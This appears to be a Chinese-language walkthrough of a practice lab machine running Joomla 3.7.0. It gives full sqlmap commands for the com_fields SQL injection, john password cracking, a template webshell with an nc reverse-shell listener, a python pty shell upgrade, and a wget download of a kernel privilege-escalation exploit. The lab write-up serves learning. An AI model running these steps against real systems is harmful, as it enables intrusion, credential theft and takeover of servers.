先开始还是老样子我的思路:
外网渗透
信息收集
我们在发现了靶机的ip以及靶机开放了80端口,然后收集到了cms
然后去访问页面发现了是有登录口的,win10虚拟机进行后台目录扫描,主机进行弱口令爆破,kali在使用msf模块进行cms的操作
扫描到了后台的登录口
然后我的kali那边的操作也是没有成功的,密码的爆破也没有出来
使用了一些模块,都没有拿下权限。
使用专业的工具来做,毕竟专业的事交给专业是人做
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具
也是扫描出来了一些信息 主要是扫描到了版本。
然后使用kali自带的信息库来进行找这个版本存在的漏洞
searchsploit joomla 3.7.0
然后我们就可以去这个漏洞信息中去看看,得到了sql注入的注入点
具体的路径/usr/share/exploitdb/exploits/php/webapps/42033.txt
去查看漏洞信息得到了,然后直接sqlmap开跑起来
sqlmap操作
跑数据库
python sqlmap.py -u "http://192.168.163.170/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
后面就我就写到下面
跑表名里面的列名的时候要注意
表名含有特殊符号,需要用引号包括
这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可
跑表名
python sqlmap.py sqlmap -u "http://192.168.163.170/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --batch -D joomladb --tables
跑列名
python sqlmap.py sqlmap -u "http://192.168.163.170/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D "jooml
adb" -T "#__users" --columns
跑数据
python sqlmap.py -u "http://192.168.163.170//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump
然后我们在进行使用工具来进行解密的操作,因为我们不知道他加密的函数是什么所以只能暴力破解。
可以使用kali内的john 解密
因为我前面是破解过的,所以说我直接在这个文件里面可以查看我破解的密码
如果你们是第一次 就创建一个文件里面放要破解的密文 就行了
john 对应的路径
这个文件会保存我们破解过的密码 john.pot文件
我是查看到的 find / -name john.pot
内网渗透:
后台主机上线:
然后进行登录后台
使用前面的账号和密码进入后台
然后登录到后台看看后台哪些的功能点可以使用,我们最后找到了上传文件的地方,但是好像上传文件被过滤了,我们可以先创建一个文件,然后在给文件里面写入我们的反弹shell代码。
我是创建好了的。然后把我的代码进行保存操作,ip和端口,在网上找一个脚本就行了。
我们可以使用nc来接受,但是还是可以使用cs来接受都可以。
然后就到kail上面执行nc -lvvp 端口就行了
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/
而protostar模块就在/templates/protostar/里面,刚才创建的webshell路径为
http://192.168.163.170/templates/protostar/webshell.php
然后我们可以使用最简单上线 就是nc -lvvp 进行上线的操作
先进行监听然后在去访问路径触发就行了
然后要有交互的getshell跟dc-1的是一样的
python -c 'import pty; pty.spawn("/bin/bash")'
如果python这个不行我们可以换其他的,在那个时候在进行更换。
liunx权限提升
然后我们在看一下,我发现suid提权都不行,只能看看漏洞提权了。
这个find提权失败
我先查看版本 使用命令 tac /etc/issue
还是使用kali本地的来看有没有漏洞
searchsploit Ubuntu 16.04
一个一个的尝试然后发现 39772.txt可以提权成功
去进行下载exp 这个跟上面一样的先访问漏洞信息发现有exp的下载路径
然后我使用命令进行了下载
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载到本地(可以先进行解压第一次解压),但是不要解压那个带有我们执行文件的文件夹
要不然你上传到靶机利用不了,我们也知道,liunx要自己编译文件那些才可以利用。
然后我去刚刚后台的地方上传文件,发现上传不上去,我们就可以让他自己来下载我们的
先开启我们的http功能
然后在去访问
这样我们就可以使用命令让靶机来下载我们的文件
下载过后我们在进行解压
tar -xvf exploit.tar
然后在切换到那个目录进行执行那2个文件就行了。
这样就完成了,然后找到了flag的文件,读取就打完了这个靶场。
读取flag文件
总结一下:
- 明白使用joomscan工具来获取漏洞:joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具
- kali自带的漏洞库:searchsploit
- 找文件的命令 find / -name *falg*
- john的密码暴力破解以及破解成功存放的位置 /root/.john/john.pot文件
- 巩固了交互shell : python -c 'import pty; pty.spawn("/bin/bash")'